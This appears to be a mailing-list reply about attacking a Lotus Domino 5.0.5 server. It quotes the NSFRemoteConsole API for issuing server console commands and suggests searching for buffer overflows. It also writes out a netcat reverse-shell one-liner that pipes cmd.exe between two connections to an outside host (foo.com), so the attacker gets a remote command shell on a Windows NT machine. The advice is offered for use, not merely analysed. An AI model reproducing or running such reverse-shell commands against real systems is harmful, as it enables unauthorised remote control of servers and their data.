Re: Hacking Lotus Domino 5.0.5

You could also hack up a quick binary using the published API. For 
simplicities sake, just use the NSFRemoteConsole function. You'll be able 
to demonstrate how an attacker that controls the OS also has complete 
control (and without needing to resort to dirty tricks either) over the 
Domino server.

Function : Server

NSFRemoteConsole - Issues a console command to a server.
----------------------------------------------------------------------------------------------------------

#include <nsfdb.h>

STATUS LNPUBLIC NSFRemoteConsole(
        char far *ServerName,
        char far *ConsoleCommand,
        HANDLE far *hResponseText);

Description :

|       This function is used to issue a console command to a server from an API 
program or from an API server add-in program. 

If you do not have remote access to the server an error will be returned. 
To have remote access to a server, you must be listed in the Server 
Document Administrator Access field or in the ADMIN_ACCESS variable in the 
server's notes.ini.

NOTE: If you use this function to shut down a server (by entering the 
"exit" or "quit" commands), you may receive an error code of "Server not 
responding" or "Remote system no longer responding".  Assuming that the 
server was active when you issued the command, these errors usually mean 
that your command was successful (the server shuts down before it can 
return a meaningful response).

NOTE:  This function will return NOERROR if the server's disk is full, but 
the returned response buffer will be 0-length.

I suspect from your email that your Domino server is on an NT box as 
opposed to an AS/400.

If it's a 400 your somewhat out of luck because few, if any, tools exist 
for 400 hacking.

If its NT here's an idea:
  If you can place a file on the machine put netcat on the machine.You 
can  then get a shell back with the command: nc foo.com [your inbound 
port] | cmd.exe | nc foo.com [your outbount port]
you can now send commands to your inbound port and watch the result on 
your out bound port.

You can always search for buffer overflows. If one is found you could 
possibly excute commands, or do other stuff, within the server's 
permission level.

Hope this helps.
